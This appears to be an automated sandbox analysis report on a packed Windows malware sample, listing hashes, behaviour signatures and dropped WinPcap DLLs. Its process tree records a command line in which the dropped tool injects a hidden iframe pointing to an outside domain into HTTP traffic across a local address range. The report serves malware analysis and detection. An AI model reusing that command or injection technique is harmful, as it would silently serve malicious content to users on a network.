Analysis

  • max time kernel
    74s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2022 00:48

General

  • Target

    8189d57bc73d30651e0ce19d2dc49c1c24ca31fc8c3ffd20ae4c80a719f7dbe2.exe

  • Size

    276KB

  • MD5

    e3e3eb9e00745537a17311a48ddcfd6d

  • SHA1

    19058766f647da781aadc49a5b67fe8f26cdb909

  • SHA256

    8189d57bc73d30651e0ce19d2dc49c1c24ca31fc8c3ffd20ae4c80a719f7dbe2

  • SHA512

    b2fe855346b0f5e5b3ffbb95b3070505772b22f4775d25c2b3e7ba73d1c6df4c3af3ce2726befbcf98e6886432e248d86342d010fc05fb7a1e8167c501080b03

  • SSDEEP

    3072:ahyzLlm9zP96QoR6l1ESCqyp2Vdwrw5RPtGyfxtoeGAv/yOItvjUJNsdMRIApG5E:ahy0zPv+bed1GyfxB85WO0esgTaP

Score
8/10

Malware Config

Signatures

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Drops file in Windows directory 4 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8189d57bc73d30651e0ce19d2dc49c1c24ca31fc8c3ffd20ae4c80a719f7dbe2.exe
    "C:\Users\Admin\AppData\Local\Temp\8189d57bc73d30651e0ce19d2dc49c1c24ca31fc8c3ffd20ae4c80a719f7dbe2.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Users\Admin\AppData\Local\Temp\D72C.tmp
      -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<iframe src="http://www.158dm.cn/index.htm" width=0 height=0 frameborder=0></iframe>"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:3916

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\D72C.tmp

    Filesize

    20KB

    MD5

    1f1f73ea53fee2470603c7fa21767b92

    SHA1

    04cb20e91195126351fdd8ec472e663bfed5b452

    SHA256

    ad94f21f7e92f79de33dd73cd3ff0f14cc840394b5abf4d6bae449766e4c627f

    SHA512

    92ec775dc27a52e32bed6c26a4ba92f3fbeaa174964cdb370e7eec70e68a14a012d8ecafed19f572c241575e8381ab658c2bfc588704d39af7d1c7644cda25f5

  • C:\Users\Admin\AppData\Local\Temp\D72C.tmp

    Filesize

    20KB

    MD5

    1f1f73ea53fee2470603c7fa21767b92

    SHA1

    04cb20e91195126351fdd8ec472e663bfed5b452

    SHA256

    ad94f21f7e92f79de33dd73cd3ff0f14cc840394b5abf4d6bae449766e4c627f

    SHA512

    92ec775dc27a52e32bed6c26a4ba92f3fbeaa174964cdb370e7eec70e68a14a012d8ecafed19f572c241575e8381ab658c2bfc588704d39af7d1c7644cda25f5

  • C:\Windows\NPPTOOLS.DLL

    Filesize

    27KB

    MD5

    fa95d1ea9290482f28ca739461034842

    SHA1

    d4293c6facb8201bb3417f944ab349a0330682fe

    SHA256

    3c2f244945ad836c0aa0e33ee88dfc88245b4570f4fcf49fe7df6ceb50fb56f9

    SHA512

    e88af525e40780e362ef91f2c221cf144601c96f81ce3f260bd8795e2887ff12eaf6d7b712a303dda0de72b0451185277b4dadfd1dbb894125b2d69108ff2519

  • C:\Windows\PACKET.DLL

    Filesize

    35KB

    MD5

    ce1251a841a24f0359e0e8cbfa25c68c

    SHA1

    76a2ab273492d5edc2dd3ed0d57378b018115c7d

    SHA256

    c21a2ffb90b461004ad5a4d44e7169e645f064f6038c3feb8ec67b0152660e99

    SHA512

    4a3e450e0b543bca1646d51b1be84b90de27fec8a0c9a6a1ad069ecdb5651a9d0926786a30d72bd50dfdd2faf092efc4ab132eef72fac3fc7d634420b18f9647

  • C:\Windows\Packet.dll

    Filesize

    35KB

    MD5

    ce1251a841a24f0359e0e8cbfa25c68c

    SHA1

    76a2ab273492d5edc2dd3ed0d57378b018115c7d

    SHA256

    c21a2ffb90b461004ad5a4d44e7169e645f064f6038c3feb8ec67b0152660e99

    SHA512

    4a3e450e0b543bca1646d51b1be84b90de27fec8a0c9a6a1ad069ecdb5651a9d0926786a30d72bd50dfdd2faf092efc4ab132eef72fac3fc7d634420b18f9647

  • C:\Windows\Packet.dll

    Filesize

    35KB

    MD5

    ce1251a841a24f0359e0e8cbfa25c68c

    SHA1

    76a2ab273492d5edc2dd3ed0d57378b018115c7d

    SHA256

    c21a2ffb90b461004ad5a4d44e7169e645f064f6038c3feb8ec67b0152660e99

    SHA512

    4a3e450e0b543bca1646d51b1be84b90de27fec8a0c9a6a1ad069ecdb5651a9d0926786a30d72bd50dfdd2faf092efc4ab132eef72fac3fc7d634420b18f9647

  • C:\Windows\WANPACKET.DLL

    Filesize

    29KB

    MD5

    7ba91d85248c8a404418d58303ffe993

    SHA1

    c19f9ba21cb5dc1c0dc6425902ffe7979961a48c

    SHA256

    2e9e1e5ee17638eebf065fd7a4d6db88cde2a3921f6bc67090934125ac21953e

    SHA512

    016f19a619aec6e15d5e985793c7fd02bde0352ce76f13d153a9479778221ab71178beb330b2ba17a370328099cabff57240dbce64feeddab98f49f691153b31

  • C:\Windows\WanPacket.dll

    Filesize

    29KB

    MD5

    7ba91d85248c8a404418d58303ffe993

    SHA1

    c19f9ba21cb5dc1c0dc6425902ffe7979961a48c

    SHA256

    2e9e1e5ee17638eebf065fd7a4d6db88cde2a3921f6bc67090934125ac21953e

    SHA512

    016f19a619aec6e15d5e985793c7fd02bde0352ce76f13d153a9479778221ab71178beb330b2ba17a370328099cabff57240dbce64feeddab98f49f691153b31

  • C:\Windows\WanPacket.dll

    Filesize

    29KB

    MD5

    7ba91d85248c8a404418d58303ffe993

    SHA1

    c19f9ba21cb5dc1c0dc6425902ffe7979961a48c

    SHA256

    2e9e1e5ee17638eebf065fd7a4d6db88cde2a3921f6bc67090934125ac21953e

    SHA512

    016f19a619aec6e15d5e985793c7fd02bde0352ce76f13d153a9479778221ab71178beb330b2ba17a370328099cabff57240dbce64feeddab98f49f691153b31

  • C:\Windows\npptools.dll

    Filesize

    27KB

    MD5

    fa95d1ea9290482f28ca739461034842

    SHA1

    d4293c6facb8201bb3417f944ab349a0330682fe

    SHA256

    3c2f244945ad836c0aa0e33ee88dfc88245b4570f4fcf49fe7df6ceb50fb56f9

    SHA512

    e88af525e40780e362ef91f2c221cf144601c96f81ce3f260bd8795e2887ff12eaf6d7b712a303dda0de72b0451185277b4dadfd1dbb894125b2d69108ff2519

  • C:\Windows\wpcap.dll

    Filesize

    90KB

    MD5

    e5b9135ca3f0c335d1c2903df7c45622

    SHA1

    15b3edbcc6ecc94f010305e089319fecef8d6fc1

    SHA256

    cc5d8b4707198bf70d9691f15702d8ec68065a82d76bf50140c614d2aae41ae2

    SHA512

    a41ddf61c88aa90f85d6d10e154c0e3d00245a299b8c094c22ef9272e62a6d795212b0c45c3979c0c771237353e78a2a4418a18a0202b6f4028e5029d84c4872

  • C:\Windows\wpcap.dll

    Filesize

    90KB

    MD5

    e5b9135ca3f0c335d1c2903df7c45622

    SHA1

    15b3edbcc6ecc94f010305e089319fecef8d6fc1

    SHA256

    cc5d8b4707198bf70d9691f15702d8ec68065a82d76bf50140c614d2aae41ae2

    SHA512

    a41ddf61c88aa90f85d6d10e154c0e3d00245a299b8c094c22ef9272e62a6d795212b0c45c3979c0c771237353e78a2a4418a18a0202b6f4028e5029d84c4872

  • memory/3916-145-0x000000005A740000-0x000000005A75B000-memory.dmp

    Filesize

    108KB

  • memory/3916-132-0x0000000000000000-mapping.dmp

  • memory/3916-146-0x0000000000880000-0x0000000000898000-memory.dmp

    Filesize

    96KB

  • memory/3916-147-0x0000000000450000-0x0000000000470000-memory.dmp

    Filesize

    128KB

  • memory/3916-149-0x0000000010000000-0x0000000010059000-memory.dmp

    Filesize

    356KB

  • memory/3916-148-0x0000000010000000-0x0000000010059000-memory.dmp

    Filesize

    356KB

  • memory/3916-150-0x0000000010000000-0x0000000010059000-memory.dmp

    Filesize

    356KB

  • memory/3916-151-0x0000000000450000-0x0000000000470000-memory.dmp

    Filesize

    128KB

  • memory/3916-152-0x0000000000880000-0x0000000000898000-memory.dmp

    Filesize

    96KB

  • memory/3916-153-0x000000005A740000-0x000000005A75B000-memory.dmp

    Filesize

    108KB